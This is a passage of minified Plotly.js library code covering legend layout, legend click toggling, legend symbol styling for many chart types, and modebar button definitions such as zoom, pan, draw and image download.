q==="fraction"?z._maxWidth*ne:N+(ne||J)}function E(O,z,N,G,J){var q=N.data()[0][0].trace,ne={event:J,node:N.node(),curveNumber:q.index,expandedIndex:q._expandedIndex,data:O.data,layout:O.layout,frames:O._transitionData._frames,config:O._context,fullData:O._fullData,fullLayout:O._fullLayout};q._group&&(ne.group=q._group),L.traceIs(q,"pie-like")&&(ne.label=N.datum()[0].label);var fe=S.triggerHandler(O,"plotly_legendclick",ne);if(fe!==!1){if(G===1)z._clickTimeout=setTimeout(function(){O._fullLayout&&f(N,O,G)},O._context.doubleClickDelay);else if(G===2){z._clickTimeout&&clearTimeout(z._clickTimeout),O._legendMouseDownTime=0;var X=S.triggerHandler(O,"plotly_legenddoubleclick",ne);X!==!1&&f(N,O,G)}}}function p(O,z,N){var G=F(N),J=O.data()[0][0],q=J.trace,ne=L.traceIs(q,"pie-like"),fe=!N._inHover&&z._context.edits.legendText&&!ne,X=N._maxNameLength,W,V;J.groupTitle?(W=J.groupTitle.text,V=J.groupTitle.font):(V=N.font,N.entries?W=J.text:(W=ne?J.label:q.name,q._meta&&(W=P.templateString(W,q._meta))));var Y=P.ensureSingle(O,"text",G+"text");Y.attr("text-anchor","start").call(g.font,V).text(fe?A(W,X):W);var Q=N.itemwidth+a.itemGap*2;r.positionText(Y,Q,0),fe?Y.call(r.makeEditable,{gd:z,text:W}).call(n,O,z,N).on("edit",function(ie){this.text(A(ie,X)).call(n,O,z,N);var j=J.trace._fullInput||{},K={};if(L.hasTransform(j,"groupby")){var oe=L.getTransformIndices(j,"groupby"),re=oe[oe.length-1],le=P.keyedContainer(j,"transforms["+re+"].styles","target","value.name");le.set(J.trace._group,ie),K=le.constructUpdate()}else K.name=ie;return j._isShape?L.call("_guiRelayout",z,"shapes["+q.index+"].name",K.name):L.call("_guiRestyle",z,K,q.index)}):n(Y,O,z,N)}function A(O,z){var N=Math.max(4,z);if(O&&O.trim().length>=N/2)return O;O=O||"";for(var G=N-O.length;G>0;G--)O+=" ";return O}function m(O,z,N){var G=z._context.doubleClickDelay,J,q=1,ne=P.ensureSingle(O,"rect",N+"toggle",function(fe){z._context.staticPlot||fe.style("cursor","pointer").attr("pointer-events","all"),fe.call(t.fill,"rgba(0,0,0,0)")});z._context.staticPlot||(ne.on("mousedown",function(){J=new Date().getTime(),J-z._legendMouseDownTime<G?q+=1:(q=1,z._legendMouseDownTime=J)}),ne.on("mouseup",function(){if(!(z._dragged||z._editing)){var fe=z._fullLayout[N];new Date().getTime()-z._legendMouseDownTime>G&&(q=Math.max(q-1,1)),E(z,fe,O,q,M.event)}}))}function n(O,z,N,G,J){G._inHover&&O.attr("data-notex",!0),r.convertToTspans(O,N,function(){C(z,N,G,J)})}function C(O,z,N,G){var J=O.data()[0][0];if(!N._inHover&&J&&!J.trace.showlegend){O.remove();return}var q=O.select("g[class*=math-group]"),ne=q.node(),fe=F(N);N||(N=z._fullLayout[fe]);var X=N.borderwidth,W;G===i?W=N.title.font:J.groupTitle?W=J.groupTitle.font:W=N.font;var V=W.size*u,Y,Q;if(ne){var ie=g.bBox(ne);Y=ie.height,Q=ie.width,G===i?g.setTranslate(q,X,X+Y*.75):g.setTranslate(q,0,Y*.25)}else{var j="."+fe+(G===i?"title":"")+"text",K=O.select(j),oe=r.lineCount(K),re=K.node();if(Y=V*oe,Q=re?g.bBox(re).width:0,G===i)N.title.side==="left"&&(Q+=a.itemGap*2),r.positionText(K,X+a.titlePad,X+V);else{var le=a.itemGap*2+N.itemwidth;J.groupTitle&&(le=a.itemGap,Q-=N.itemwidth),r.positionText(K,le,-V*((oe-1)/2-.3))}}G===i?(N._titleWidth=Q,N._titleHeight=Y):(J.lineHeight=V,J.height=Math.max(Y,16)+3,J.width=Q)}function x(O){var z=0,N=0,G=O.title.side;return G&&(G.indexOf("left")!==-1&&(z=O._titleWidth),G.indexOf("top")!==-1&&(N=O._titleHeight)),[z,N]}function I(O,z,N,G){var J=O._fullLayout,q=F(G);G||(G=J[q]);var ne=J._size,fe=h.isVertical(G),X=h.isGrouped(G),W=G.entrywidthmode==="fraction",V=G.borderwidth,Y=2*V,Q=a.itemGap,ie=G.itemwidth+Q*2,j=2*(V+Q),K=_(G),oe=G.y<0||G.y===0&&K==="top",re=G.y>1||G.y===1&&K==="bottom",le=G.tracegroupgap,pe={};G._maxHeight=Math.max(oe||re?J.height/2:ne.h,30);var we=0;G._width=0,G._height=0;var xe=x(G);if(fe)N.each(function(Ge){var Le=Ge[0].height;g.setTranslate(this,V+xe[0],V+xe[1]+G._height+Le/2+Q),G._height+=Le,G._width=Math.max(G._width,Ge[0].width)}),we=ie+G._width,G._width+=Q+ie+Y,G._height+=j,X&&(z.each(function(Ge,Le){g.setTranslate(this,0,Le*G.tracegroupgap)}),G._height+=(G._lgroupsLength-1)*G.tracegroupgap);else{var ke=B(G),_e=G.x<0||G.x===0&&ke==="right",be=G.x>1||G.x===1&&ke==="left",ge=re||oe,Te=J.width/2;G._maxWidth=Math.max(_e?ge&&ke==="left"?ne.l+ne.w:Te:be?ge&&ke==="right"?ne.r+ne.w:Te:ne.w,2*ie);var Fe=0,Oe=0;N.each(function(Ge){var Le=w(Ge,G,ie);Fe=Math.max(Fe,Le),Oe+=Le}),we=null;var Ce=0;if(X){var Be=0,$e=0,Xe=0;z.each(function(){var Ge=0,Le=0;M.select(this).selectAll("g.traces").each(function(De){var Ee=w(De,G,ie),ye=De[0].height;g.setTranslate(this,xe[0],xe[1]+V+Q+ye/2+Le),Le+=ye,Ge=Math.max(Ge,Ee),pe[De[0].trace.legendgroup]=Ge});var Pe=Ge+Q;$e>0&&Pe+V+$e>G._maxWidth?(Ce=Math.max(Ce,$e),$e=0,Xe+=Be+le,Be=Le):Be=Math.max(Be,Le),g.setTranslate(this,$e,Xe),$e+=Pe}),G._width=Math.max(Ce,$e)+V,G._height=Xe+Be+j}else{var Ze=N.size(),Ke=Oe+Y+(Ze-1)*Q<G._maxWidth,st=0,lt=0,ut=0,yt=0;N.each(function(Ge){var Le=Ge[0].height,Pe=w(Ge,G,ie),De=Ke?Pe:Fe;W||(De+=Q),De+V+lt-Q>=G._maxWidth&&(Ce=Math.max(Ce,yt),lt=0,ut+=st,G._height+=st,st=0),g.setTranslate(this,xe[0]+V+lt,xe[1]+V+ut+Le/2+Q),yt=lt+Pe+Q,lt+=De,st=Math.max(st,Le)}),Ke?(G._width=lt+Y,G._height=st+j):(G._width=Math.max(Ce,yt)+Y,G._height+=st+j)}}G._width=Math.ceil(Math.max(G._width+xe[0],G._titleWidth+2*(V+a.titlePad))),G._height=Math.ceil(Math.max(G._height+xe[1],G._titleHeight+2*(V+a.itemGap))),G._effHeight=Math.min(G._height,G._maxHeight);var bt=O._context.edits,Ot=bt.legendText||bt.legendPosition;N.each(function(Ge){var Le=M.select(this).select("."+q+"toggle"),Pe=Ge[0].height,De=Ge[0].trace.legendgroup,Ee=w(Ge,G,ie);X&&De!==""&&(Ee=pe[De]);var ye=Ot?ie:we||Ee;!fe&&!W&&(ye+=Q/2),g.setRect(Le,0,-Pe/2,ye,Pe)})}function k(O,z,N,G){var J=O._fullLayout,q=J[z],ne=B(q),fe=_(q),X=q.xref==="paper",W=q.yref==="paper";O._fullLayout._reservedMargin[z]={};var V=q.y<.5?"b":"t",Y=q.x<.5?"l":"r",Q={r:J.width-N,l:N+q._width,b:J.height-G,t:G+q._effHeight};if(X&&W)return o.autoMargin(O,z,{x:q.x,y:q.y,l:q._width*s[ne],r:q._width*y[ne],b:q._effHeight*y[fe],t:q._effHeight*s[fe]});X?O._fullLayout._reservedMargin[z][V]=Q[V]:W||q.orientation==="v"?O._fullLayout._reservedMargin[z][Y]=Q[Y]:O._fullLayout._reservedMargin[z][V]=Q[V]}function B(O){return P.isRightAnchor(O)?"right":P.isCenterAnchor(O)?"center":"left"}function _(O){return P.isBottomAnchor(O)?"bottom":P.isMiddleAnchor(O)?"middle":"top"}function F(O){return O._id||"legend"}},82424:function(te,Z,e){var M=e(73972),P=e(10130);te.exports=function(L,S,d){var g=S._inHover,t=P.isGrouped(S),r=P.isReversed(S),f={},a=[],l=!1,u={},s=0,y=0,c,b;function h(z,N,G){if(S.visible!==!1&&!(d&&z!==S._id))if(N===""||!P.isGrouped(S)){var J="~~i"+s;a.push(J),f[J]=[G],s++}else a.indexOf(N)===-1?(a.push(N),l=!0,f[N]=[G]):f[N].push(G)}for(c=0;c<L.length;c++){var i=L[c],v=i[0],T=v.trace,w=T.legend,E=T.legendgroup;if(!(!g&&(!T.visible||!T.showlegend)))if(M.traceIs(T,"pie-like"))for(u[E]||(u[E]={}),b=0;b<i.length;b++){var p=i[b].label;u[E][p]||(h(w,E,{label:p,color:i[b].color,i:i[b].i,trace:T,pts:i[b].pts}),u[E][p]=!0,y=Math.max(y,(p||"").length))}else h(w,E,v),y=Math.max(y,(T.name||"").length)}if(!a.length)return[];var A=!l||!t,m=[];for(c=0;c<a.length;c++){var n=f[a[c]];A?m.push(n[0]):m.push(n)}for(A&&(m=[m]),c=0;c<m.length;c++){var C=1/0;for(b=0;b<m[c].length;b++){var x=m[c][b].trace.legendrank;C>x&&(C=x)}m[c][0]._groupMinRank=C,m[c][0]._preGroupSort=c}var I=function(z,N){return z[0]._groupMinRank-N[0]._groupMinRank||z[0]._preGroupSort-N[0]._preGroupSort},k=function(z,N){return z.trace.legendrank-N.trace.legendrank||z._preSort-N._preSort};for(m.forEach(function(z,N){z[0]._preGroupSort=N}),m.sort(I),c=0;c<m.length;c++){m[c].forEach(function(z,N){z._preSort=N}),m[c].sort(k);var B=m[c][0].trace,_=null;for(b=0;b<m[c].length;b++){var F=m[c][b].trace.legendgrouptitle;if(F&&F.text){_=F,g&&(F.font=S._groupTitleFont);break}}if(r&&m[c].reverse(),_){var O=!1;for(b=0;b<m[c].length;b++)if(M.traceIs(m[c][b].trace,"pie-like")){O=!0;break}m[c].unshift({i:-1,groupTitle:_,noClick:O,trace:{showlegend:B.showlegend,legendgroup:B.legendgroup,visible:S.groupclick==="toggleitem"?!0:B.visible}})}for(b=0;b<m[c].length;b++)m[c][b]=[m[c][b]]}return S._lgroupsLength=m.length,S._maxNameLength=y,m}},85167:function(te,Z,e){var M=e(73972),P=e(71828),o=P.pushUnique,L=!0;te.exports=function(d,g,t){var r=g._fullLayout;if(g._dragged||g._editing)return;var f=r.legend.itemclick,a=r.legend.itemdoubleclick,l=r.legend.groupclick;t===1&&f==="toggle"&&a==="toggleothers"&&L&&g.data&&g._context.showTips&&P.notifier(P._(g,"Double-click on legend to isolate one trace"),"long"),L=!1;var u;if(t===1?u=f:t===2&&(u=a),!u)return;var s=l==="togglegroup",y=r.hiddenlabels?r.hiddenlabels.slice():[],c=d.data()[0][0];if(c.groupTitle&&c.noClick)return;var b=g._fullData,h=(r.shapes||[]).filter(function(Fe){return Fe.showlegend}),i=b.concat(h),v=c.trace;v._isShape&&(v=v._fullInput);var T=v.legendgroup,w,E,p,A,m,n,C={},x=[],I=[],k=[];function B(Fe,Oe){var Ce=x.indexOf(Fe),Be=C.visible;return Be||(Be=C.visible=[]),x.indexOf(Fe)===-1&&(x.push(Fe),Ce=x.length-1),Be[Ce]=Oe,Ce}var _=(r.shapes||[]).map(function(Fe){return Fe._input}),F=!1;function O(Fe,Oe){_[Fe].visible=Oe,F=!0}function z(Fe,Oe){if(!(c.groupTitle&&!s)){var Ce=Fe._fullInput||Fe,Be=Ce._isShape,$e=Ce.index;if($e===void 0&&($e=Ce._index),M.hasTransform(Ce,"groupby")){var Xe=I[$e];if(!Xe){var Ze=M.getTransformIndices(Ce,"groupby"),Ke=Ze[Ze.length-1];Xe=P.keyedContainer(Ce,"transforms["+Ke+"].styles","target","value.visible"),I[$e]=Xe}var st=Xe.get(Fe._group);st===void 0&&(st=!0),st!==!1&&Xe.set(Fe._group,Oe),k[$e]=B($e,Ce.visible!==!1)}else{var lt=Ce.visible===!1?!1:Oe;Be?O($e,lt):B($e,lt)}}}var N=v.legend,G=v._fullInput,J=G&&G._isShape;if(!J&&M.traceIs(v,"pie-like")){var q=c.label,ne=y.indexOf(q);if(u==="toggle")ne===-1?y.push(q):y.splice(ne,1);else if(u==="toggleothers"){var fe=ne!==-1,X=[];for(w=0;w<g.calcdata.length;w++){var W=g.calcdata[w];for(E=0;E<W.length;E++){var V=W[E],Y=V.label;N===W[0].trace.legend&&q!==Y&&(y.indexOf(Y)===-1&&(fe=!0),o(y,Y),X.push(Y))}}if(!fe)for(var Q=0;Q<X.length;Q++){var ie=y.indexOf(X[Q]);ie!==-1&&y.splice(ie,1)}}M.call("_guiRelayout",g,"hiddenlabels",y)}else{var j=T&&T.length,K=[],oe;if(j)for(w=0;w<i.length;w++)oe=i[w],oe.visible&&oe.legendgroup===T&&K.push(w);if(u==="toggle"){var re;switch(v.visible){case!0:re="legendonly";break;case!1:re=!1;break;case"legendonly":re=!0;break}if(j)if(s)for(w=0;w<i.length;w++){var le=i[w];le.visible!==!1&&le.legendgroup===T&&z(le,re)}else z(v,re);else z(v,re)}else if(u==="toggleothers"){var pe,we,xe,ke,_e,be=!0;for(w=0;w<i.length;w++)if(_e=i[w],pe=_e===v,xe=_e.showlegend!==!0,!(pe||xe)&&(we=j&&_e.legendgroup===T,!we&&_e.legend===N&&_e.visible===!0&&!M.traceIs(_e,"notLegendIsolatable"))){be=!1;break}for(w=0;w<i.length;w++)if(_e=i[w],!(_e.visible===!1||_e.legend!==N)&&!M.traceIs(_e,"notLegendIsolatable"))switch(v.visible){case"legendonly":z(_e,!0);break;case!0:ke=be?!0:"legendonly",pe=_e===v,xe=_e.showlegend!==!0&&!_e.legendgroup,we=pe||j&&_e.legendgroup===T,z(_e,we||xe?!0:ke);break}}for(w=0;w<I.length;w++)if(p=I[w],!!p){var ge=p.constructUpdate(),Te=Object.keys(ge);for(E=0;E<Te.length;E++)A=Te[E],n=C[A]=C[A]||[],n[k[w]]=ge[A]}for(m=Object.keys(C),w=0;w<m.length;w++)for(A=m[w],E=0;E<x.length;E++)C[A].hasOwnProperty(E)||(C[A][E]=void 0);F?M.call("_guiUpdate",g,C,{shapes:_},x):M.call("_guiRestyle",g,C,x)}}},10130:function(te,Z){Z.isGrouped=function(M){return(M.traceorder||"").indexOf("grouped")!==-1},Z.isVertical=function(M){return M.orientation!=="h"},Z.isReversed=function(M){return(M.traceorder||"").indexOf("reversed")!==-1}},2199:function(te,Z,e){te.exports={moduleType:"component",name:"legend",layoutAttributes:e(33030),supplyLayoutDefaults:e(99017),draw:e(43969),style:e(53630)}},53630:function(te,Z,e){var M=e(39898),P=e(73972),o=e(71828),L=o.strTranslate,S=e(91424),d=e(7901),g=e(52075).extractOpts,t=e(34098),r=e(63463),f=e(53581).castOption,a=e(14928),l=12,u=5,s=2,y=10,c=5;te.exports=function(T,w,E){var p=w._fullLayout;E||(E=p.legend);var A=E.itemsizing==="constant",m=E.itemwidth,n=(m+a.itemGap*2)/2,C=L(n,0),x=function(X,W,V,Y){var Q;if(X+1)Q=X;else if(W&&W.width>0)Q=W.width;else return 0;return A?Y:Math.min(Q,V)};T.each(function(X){var W=M.select(this),V=o.ensureSingle(W,"g","layers");V.style("opacity",X[0].trace.opacity);var Y=E.valign,Q=X[0].lineHeight,ie=X[0].height;if(Y==="middle"||!Q||!ie)V.attr("transform",null);else{var j={top:1,bottom:-1}[Y],K=j*(.5*(Q-ie+3));V.attr("transform",L(0,K))}var oe=V.selectAll("g.legendfill").data([X]);oe.enter().append("g").classed("legendfill",!0);var re=V.selectAll("g.legendlines").data([X]);re.enter().append("g").classed("legendlines",!0);var le=V.selectAll("g.legendsymbols").data([X]);le.enter().append("g").classed("legendsymbols",!0),le.selectAll("g.legendpoints").data([X]).enter().append("g").classed("legendpoints",!0)}).each(fe).each(B).each(F).each(_).each(z).each(q).each(J).each(I).each(k).each(N).each(G);function I(X){var W=h(X),V=W.showFill,Y=W.showLine,Q=W.showGradientLine,ie=W.showGradientFill,j=W.anyFill,K=W.anyLine,oe=X[0],re=oe.trace,le,pe,we=g(re),xe=we.colorscale,ke=we.reversescale,_e=function(Be){if(Be.size())if(V)S.fillGroupStyle(Be,w);else{var $e="legendfill-"+re.uid;S.gradient(Be,w,$e,b(ke),xe,"fill")}},be=function(Be){if(Be.size()){var $e="legendline-"+re.uid;S.lineGroupStyle(Be),S.gradient(Be,w,$e,b(ke),xe,"stroke")}},ge=t.hasMarkers(re)||!j?"M5,0":K?"M5,-2":"M5,-3",Te=M.select(this),Fe=Te.select(".legendfill").selectAll("path").data(V||ie?[X]:[]);if(Fe.enter().append("path").classed("js-fill",!0),Fe.exit().remove(),Fe.attr("d",ge+"h"+m+"v6h-"+m+"z").call(_e),Y||Q){var Oe=x(void 0,re.line,y,u);pe=o.minExtend(re,{line:{width:Oe}}),le=[o.minExtend(oe,{trace:pe})]}var Ce=Te.select(".legendlines").selectAll("path").data(Y||Q?[le]:[]);Ce.enter().append("path").classed("js-line",!0),Ce.exit().remove(),Ce.attr("d",ge+(Q?"l"+m+",0.0001":"h"+m)).call(Y?S.lineGroupStyle:be)}function k(X){var W=h(X),V=W.anyFill,Y=W.anyLine,Q=W.showLine,ie=W.showMarker,j=X[0],K=j.trace,oe=!ie&&!Y&&!V&&t.hasText(K),re,le;function pe(Fe,Oe,Ce,Be){var $e=o.nestedProperty(K,Fe).get(),Xe=o.isArrayOrTypedArray($e)&&Oe?Oe($e):$e;if(A&&Xe&&Be!==void 0&&(Xe=Be),Ce){if(Xe<Ce[0])return Ce[0];if(Xe>Ce[1])return Ce[1]}return Xe}function we(Fe){return j._distinct&&j.index&&Fe[j.index]?Fe[j.index]:Fe[0]}if(ie||oe||Q){var xe={},ke={};if(ie){xe.mc=pe("marker.color",we),xe.mx=pe("marker.symbol",we),xe.mo=pe("marker.opacity",o.mean,[.2,1]),xe.mlc=pe("marker.line.color",we),xe.mlw=pe("marker.line.width",o.mean,[0,5],s),ke.marker={sizeref:1,sizemin:1,sizemode:"diameter"};var _e=pe("marker.size",o.mean,[2,16],l);xe.ms=_e,ke.marker.size=_e}Q&&(ke.line={width:pe("line.width",we,[0,10],u)}),oe&&(xe.tx="Aa",xe.tp=pe("textposition",we),xe.ts=10,xe.tc=pe("textfont.color",we),xe.tf=pe("textfont.family",we)),re=[o.minExtend(j,xe)],le=o.minExtend(K,ke),le.selectedpoints=null,le.texttemplate=null}var be=M.select(this).select("g.legendpoints"),ge=be.selectAll("path.scatterpts").data(ie?re:[]);ge.enter().insert("path",":first-child").classed("scatterpts",!0).attr("transform",C),ge.exit().remove(),ge.call(S.pointStyle,le,w),ie&&(re[0].mrc=3);var Te=be.selectAll("g.pointtext").data(oe?re:[]);Te.enter().append("g").classed("pointtext",!0).append("text").attr("transform",C),Te.exit().remove(),Te.selectAll("text").call(S.textPointStyle,le,w)}function B(X){var W=X[0].trace,V=W.type==="waterfall";if(X[0]._distinct&&V){var Y=X[0].trace[X[0].dir].marker;return X[0].mc=Y.color,X[0].mlw=Y.line.width,X[0].mlc=Y.line.color,O(X,this,"waterfall")}var Q=[];W.visible&&V&&(Q=X[0].hasTotals?[["increasing","M-6,-6V6H0Z"],["totals","M6,6H0L-6,-6H-0Z"],["decreasing","M6,6V-6H0Z"]]:[["increasing","M-6,-6V6H6Z"],["decreasing","M6,6V-6H-6Z"]]);var ie=M.select(this).select("g.legendpoints").selectAll("path.legendwaterfall").data(Q);ie.enter().append("path").classed("legendwaterfall",!0).attr("transform",C).style("stroke-miterlimit",1),ie.exit().remove(),ie.each(function(j){var K=M.select(this),oe=W[j[0]].marker,re=x(void 0,oe.line,c,s);K.attr("d",j[1]).style("stroke-width",re+"px").call(d.fill,oe.color),re&&K.call(d.stroke,oe.line.color)})}function _(X){O(X,this)}function F(X){O(X,this,"funnel")}function O(X,W,V){var Y=X[0].trace,Q=Y.marker||{},ie=Q.line||{},j=V?Y.visible&&Y.type===V:P.traceIs(Y,"bar"),K=M.select(W).select("g.legendpoints").selectAll("path.legend"+V).data(j?[X]:[]);K.enter().append("path").classed("legend"+V,!0).attr("d","M6,6H-6V-6H6Z").attr("transform",C),K.exit().remove(),K.each(function(oe){var re=M.select(this),le=oe[0],pe=x(le.mlw,Q.line,c,s);re.style("stroke-width",pe+"px");var we=le.mcc;if(!E._inHover&&"mc"in le){var xe=g(Q),ke=xe.mid;ke===void 0&&(ke=(xe.max+xe.min)/2),we=S.tryColorscale(Q,"")(ke)}var _e=we||le.mc||Q.color,be=Q.pattern,ge=be&&S.getPatternAttr(be.shape,0,"");if(ge){var Te=S.getPatternAttr(be.bgcolor,0,null),Fe=S.getPatternAttr(be.fgcolor,0,null),Oe=be.fgopacity,Ce=i(be.size,8,10),Be=i(be.solidity,.5,1),$e="legend-"+Y.uid;re.call(S.pattern,"legend",w,$e,ge,Ce,Be,we,be.fillmode,Te,Fe,Oe)}else re.call(d.fill,_e);pe&&d.stroke(re,le.mlc||ie.color)})}function z(X){var W=X[0].trace,V=M.select(this).select("g.legendpoints").selectAll("path.legendbox").data(W.visible&&P.traceIs(W,"box-violin")?[X]:[]);V.enter().append("path").classed("legendbox",!0).attr("d","M6,6H-6V-6H6Z").attr("transform",C),V.exit().remove(),V.each(function(){var Y=M.select(this);if((W.boxpoints==="all"||W.points==="all")&&d.opacity(W.fillcolor)===0&&d.opacity((W.line||{}).color)===0){var Q=o.minExtend(W,{marker:{size:A?l:o.constrain(W.marker.size,2,16),sizeref:1,sizemin:1,sizemode:"diameter"}});V.call(S.pointStyle,Q,w)}else{var ie=x(void 0,W.line,c,s);Y.style("stroke-width",ie+"px").call(d.fill,W.fillcolor),ie&&d.stroke(Y,W.line.color)}})}function N(X){var W=X[0].trace,V=M.select(this).select("g.legendpoints").selectAll("path.legendcandle").data(W.visible&&W.type==="candlestick"?[X,X]:[]);V.enter().append("path").classed("legendcandle",!0).attr("d",function(Y,Q){return Q?"M-15,0H-8M-8,6V-6H8Z":"M15,0H8M8,-6V6H-8Z"}).attr("transform",C).style("stroke-miterlimit",1),V.exit().remove(),V.each(function(Y,Q){var ie=M.select(this),j=W[Q?"increasing":"decreasing"],K=x(void 0,j.line,c,s);ie.style("stroke-width",K+"px").call(d.fill,j.fillcolor),K&&d.stroke(ie,j.line.color)})}function G(X){var W=X[0].trace,V=M.select(this).select("g.legendpoints").selectAll("path.legendohlc").data(W.visible&&W.type==="ohlc"?[X,X]:[]);V.enter().append("path").classed("legendohlc",!0).attr("d",function(Y,Q){return Q?"M-15,0H0M-8,-6V0":"M15,0H0M8,6V0"}).attr("transform",C).style("stroke-miterlimit",1),V.exit().remove(),V.each(function(Y,Q){var ie=M.select(this),j=W[Q?"increasing":"decreasing"],K=x(void 0,j.line,c,s);ie.style("fill","none").call(S.dashLine,j.line.dash,K),K&&d.stroke(ie,j.line.color)})}function J(X){ne(X,this,"pie")}function q(X){ne(X,this,"funnelarea")}function ne(X,W,V){var Y=X[0],Q=Y.trace,ie=V?Q.visible&&Q.type===V:P.traceIs(Q,V),j=M.select(W).select("g.legendpoints").selectAll("path.legend"+V).data(ie?[X]:[]);if(j.enter().append("path").classed("legend"+V,!0).attr("d","M6,6H-6V-6H6Z").attr("transform",C),j.exit().remove(),j.size()){var K=Q.marker||{},oe=x(f(K.line.width,Y.pts),K.line,c,s),re="pieLike",le=o.minExtend(Q,{marker:{line:{width:oe}}},re),pe=o.minExtend(Y,{trace:le},re);r(j,pe,le,w)}}function fe(X){var W=X[0].trace,V,Y=[];if(W.visible)switch(W.type){case"histogram2d":case"heatmap":Y=[["M-15,-2V4H15V-2Z"]],V=!0;break;case"choropleth":case"choroplethmapbox":Y=[["M-6,-6V6H6V-6Z"]],V=!0;break;case"densitymapbox":Y=[["M-6,0 a6,6 0 1,0 12,0 a 6,6 0 1,0 -12,0"]],V="radial";break;case"cone":Y=[["M-6,2 A2,2 0 0,0 -6,6 V6L6,4Z"],["M-6,-6 A2,2 0 0,0 -6,-2 L6,-4Z"],["M-6,-2 A2,2 0 0,0 -6,2 L6,0Z"]],V=!1;break;case"streamtube":Y=[["M-6,2 A2,2 0 0,0 -6,6 H6 A2,2 0 0,1 6,2 Z"],["M-6,-6 A2,2 0 0,0 -6,-2 H6 A2,2 0 0,1 6,-6 Z"],["M-6,-2 A2,2 0 0,0 -6,2 H6 A2,2 0 0,1 6,-2 Z"]],V=!1;break;case"surface":Y=[["M-6,-6 A2,3 0 0,0 -6,0 H6 A2,3 0 0,1 6,-6 Z"],["M-6,1 A2,3 0 0,1 -6,6 H6 A2,3 0 0,0 6,0 Z"]],V=!0;break;case"mesh3d":Y=[["M-6,6H0L-6,-6Z"],["M6,6H0L6,-6Z"],["M-6,-6H6L0,6Z"]],V=!1;break;case"volume":Y=[["M-6,6H0L-6,-6Z"],["M6,6H0L6,-6Z"],["M-6,-6H6L0,6Z"]],V=!0;break;case"isosurface":Y=[["M-6,6H0L-6,-6Z"],["M6,6H0L6,-6Z"],["M-6,-6 A12,24 0 0,0 6,-6 L0,6Z"]],V=!1;break}var Q=M.select(this).select("g.legendpoints").selectAll("path.legend3dandfriends").data(Y);Q.enter().append("path").classed("legend3dandfriends",!0).attr("transform",C).style("stroke-miterlimit",1),Q.exit().remove(),Q.each(function(ie,j){var K=M.select(this),oe=g(W),re=oe.colorscale,le=oe.reversescale,pe=function(_e){if(_e.size()){var be="legendfill-"+W.uid;S.gradient(_e,w,be,b(le,V==="radial"),re,"fill")}},we;if(re){if(!V){var ke=re.length;we=j===0?re[le?ke-1:0][1]:j===1?re[le?0:ke-1][1]:re[Math.floor((ke-1)/2)][1]}}else{var xe=W.vertexcolor||W.facecolor||W.color;we=o.isArrayOrTypedArray(xe)?xe[j]||xe[0]:xe}K.attr("d",ie[0]),we?K.call(d.fill,we):K.call(pe)})}};function b(v,T){var w=T?"radial":"horizontal";return w+(v?"":"reversed")}function h(v){var T=v[0].trace,w=T.contours,E=t.hasLines(T),p=t.hasMarkers(T),A=T.visible&&T.fill&&T.fill!=="none",m=!1,n=!1;if(w){var C=w.coloring;C==="lines"?m=!0:E=C==="none"||C==="heatmap"||w.showlines,w.type==="constraint"?A=w._operation!=="=":(C==="fill"||C==="heatmap")&&(n=!0)}return{showMarker:p,showLine:E,showFill:A,showGradientLine:m,showGradientFill:n,anyLine:E||m,anyFill:A||n}}function i(v,T,w){return v&&o.isArrayOrTypedArray(v)?T:v>w?w:v}},42068:function(te,Z,e){e(93348),te.exports={editType:"modebar",orientation:{valType:"enumerated",values:["v","h"],dflt:"h",editType:"modebar"},bgcolor:{valType:"color",editType:"modebar"},color:{valType:"color",editType:"modebar"},activecolor:{valType:"color",editType:"modebar"},uirevision:{valType:"any",editType:"none"},add:{valType:"string",arrayOk:!0,dflt:"",editType:"modebar"},remove:{valType:"string",arrayOk:!0,dflt:"",editType:"modebar"}}},26023:function(te,Z,e){var M=e(73972),P=e(74875),o=e(41675),L=e(24255),S=e(34031).eraseActiveShape,d=e(71828),g=d._,t=te.exports={};t.toImage={name:"toImage",title:function(v){var T=v._context.toImageButtonOptions||{},w=T.format||"png";return w==="png"?g(v,"Download plot as a png"):g(v,"Download plot")},icon:L.camera,click:function(v){var T=v._context.toImageButtonOptions,w={format:T.format||"png"};d.notifier(g(v,"Taking snapshot - this may take a few seconds"),"long"),w.format!=="svg"&&d.isIE()&&(d.notifier(g(v,"IE only supports svg.  Changing format to svg."),"long"),w.format="svg"),["filename","width","height","scale"].forEach(function(E){E in T&&(w[E]=T[E])}),M.call("downloadImage",v,w).then(function(E){d.notifier(g(v,"Snapshot succeeded")+" - "+E,"long")}).catch(function(){d.notifier(g(v,"Sorry, there was a problem downloading your snapshot!"),"long")})}},t.sendDataToCloud={name:"sendDataToCloud",title:function(v){return g(v,"Edit in Chart Studio")},icon:L.disk,click:function(v){P.sendDataToCloud(v)}},t.editInChartStudio={name:"editInChartStudio",title:function(v){return g(v,"Edit in Chart Studio")},icon:L.pencil,click:function(v){P.sendDataToCloud(v)}},t.zoom2d={name:"zoom2d",_cat:"zoom",title:function(v){return g(v,"Zoom")},attr:"dragmode",val:"zoom",icon:L.zoombox,click:r},t.pan2d={name:"pan2d",_cat:"pan",title:function(v){return g(v,"Pan")},attr:"dragmode",val:"pan",icon:L.pan,click:r},t.select2d={name:"select2d",_cat:"select",title:function(v){return g(v,"Box Select")},attr:"dragmode",val:"select",icon:L.selectbox,click:r},t.lasso2d={name:"lasso2d",_cat:"lasso",title:function(v){return g(v,"Lasso Select")},attr:"dragmode",val:"lasso",icon:L.lasso,click:r},t.drawclosedpath={name:"drawclosedpath",title:function(v){return g(v,"Draw closed freeform")},attr:"dragmode",val:"drawclosedpath",icon:L.drawclosedpath,click:r},t.drawopenpath={name:"drawopenpath",title:function(v){return g(v,"Draw open freeform")},attr:"dragmode",val:"drawopenpath",icon:L.drawopenpath,click:r},t.drawline={name:"drawline",title:function(v){return g(v,"Draw line")},attr:"dragmode",val:"drawline",icon:L.drawline,click:r},t.drawrect={name:"drawrect",title:function(v){return g(v,"Draw rectangle")},attr:"dragmode",val:"drawrect",icon:L.drawrect,click:r},t.drawcircle={name:"drawcircle",title:function(v){return g(v,"Draw circle")},attr:"dragmode",val:"drawcircle",icon:L.drawcircle,click:r},t.eraseshape={name:"eraseshape",title:function(v){return g(v,"Erase active shape")},icon:L.eraseshape,click:S},t.zoomIn2d={name:"zoomIn2d",_cat:"zoomin",title:function(v){return g(v,"Zoom in")},attr:"zoom",val:"in",icon:L.zoom_plus,click:r},t.zoomOut2d={name:"zoomOut2d",_cat:"zoomout",title:function(v){return g(v,"Zoom out")},attr:"zoom",val:"out",icon:L.zoom_minus,click:r},t.autoScale2d={name:"autoScale2d",_cat:"autoscale",title:function(v){return 